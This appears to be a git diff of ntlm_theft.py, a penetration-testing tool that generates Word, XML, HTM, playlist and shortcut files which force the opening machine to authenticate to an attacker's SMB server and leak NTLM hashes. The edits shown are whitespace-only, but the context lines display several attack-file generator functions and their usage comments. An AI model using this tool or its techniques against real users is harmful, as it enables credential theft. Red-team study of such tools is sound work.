diff --git a/ntlm_theft.py b/ntlm_theft.py index b72fb76..a95aaeb 100644 --- a/ntlm_theft.py +++ b/ntlm_theft.py @@ -1,4 +1,4 @@ -#!/usr/bin/env +#!/usr/bin/env # -*- coding: utf-8 -*- from __future__ import print_function @@ -44,7 +44,7 @@ version='%(prog)s 0.1.0 : ntlm_theft by Jacob Wilkin(Greenwolf)') parser.add_argument('-vv', '--verbose', action='store_true',dest='vv',help='Verbose Mode') parser.add_argument('-g', '--generate', - action='store', + action='store', dest='generate', required=True, choices=set(( @@ -58,7 +58,7 @@ "htm", "docx", "xlsx", - "wax", + "wax", "m3u", "asx", "jnlp", @@ -134,7 +134,7 @@ def create_xml(generate,server,filename): # .xml with remote includepicture field attack # Filename: shareattack.xml, action=open, attacks=word def create_xml_includepicture(generate,server, filename): - documentfilename = os.path.join(script_directory,"templates", "includepicture-template.xml") + documentfilename = os.path.join(script_directory,"templates", "includepicture-template.xml") # Read the template file file = open(documentfilename, 'r', encoding="utf8") filedata = file.read() @@ -165,7 +165,7 @@ def create_htm_handler(generate,server,filename): file.write(''' ''') file.close() @@ -173,13 +173,13 @@ def create_htm_handler(generate,server,filename): # .docx file with remote includepicture field attack def create_docx_includepicture(generate,server,filename): - # Source path - src = os.path.join(script_directory,"templates", "docx-includepicture-template") - # Destination path + # Source path + src = os.path.join(script_directory,"templates", "docx-includepicture-template") + # Destination path dest = os.path.join("docx-includepicture-template") - # Copy the content of - # source to destination - shutil.copytree(src, dest) + # Copy the content of + # source to destination + shutil.copytree(src, dest) documentfilename = os.path.join("docx-includepicture-template", "word", "_rels", "document.xml.rels") # Read the template file file = open(documentfilename, 'r') @@ -200,13 +200,13 @@ def create_docx_includepicture(generate,server,filename): # Filename: shareattack.docx (unzip and put inside word\_rels\settings.xml.rels), action=open, attacks=word # Instructions: Word > Create New Document > Choose a Template > Unzip docx, change target in word\_rels\settings.xml.rels change target to smb server def create_docx_remote_template(generate,server,filename): - # Source path - src = os.path.join(script_directory,"templates", "docx-remotetemplate-template") - # Destination path + # Source path + src = os.path.join(script_directory,"templates", "docx-remotetemplate-template") + # Destination path dest = os.path.join("docx-remotetemplate-template") - # Copy the content of - # source to destination - shutil.copytree(src, dest) + # Copy the content of + # source to destination + shutil.copytree(src, dest) documentfilename = os.path.join("docx-remotetemplate-template", "word", "_rels", "settings.xml.rels") # Read the template file file = open(documentfilename, 'r') @@ -225,13 +225,13 @@ def create_docx_remote_template(generate,server,filename): # .docx file with Frameset attack def create_docx_frameset(generate,server,filename): - # Source path - src = os.path.join(script_directory,"templates", "docx-frameset-template") - # Destination path + # Source path + src = os.path.join(script_directory,"templates", "docx-frameset-template") + # Destination path dest = os.path.join("docx-frameset-template") - # Copy the content of - # source to destination - shutil.copytree(src, dest) + # Copy the content of + # source to destination + shutil.copytree(src, dest) documentfilename = os.path.join("docx-frameset-template", "word", "_rels", "webSettings.xml.rels") # Read the template file file = open(documentfilename, 'r') @@ -631,7 +631,7 @@ def create_lnk(generate,server,filename): elif(args.generate == "xlsx"): create_xlsx_externalcell(args.generate, args.server, os.path.join(args.filename, args.filename + "-(externalcell).xlsx")) - + elif(args.generate == "wax"): create_wax(args.generate, args.server, os.path.join(args.filename, args.filename + ".wax"))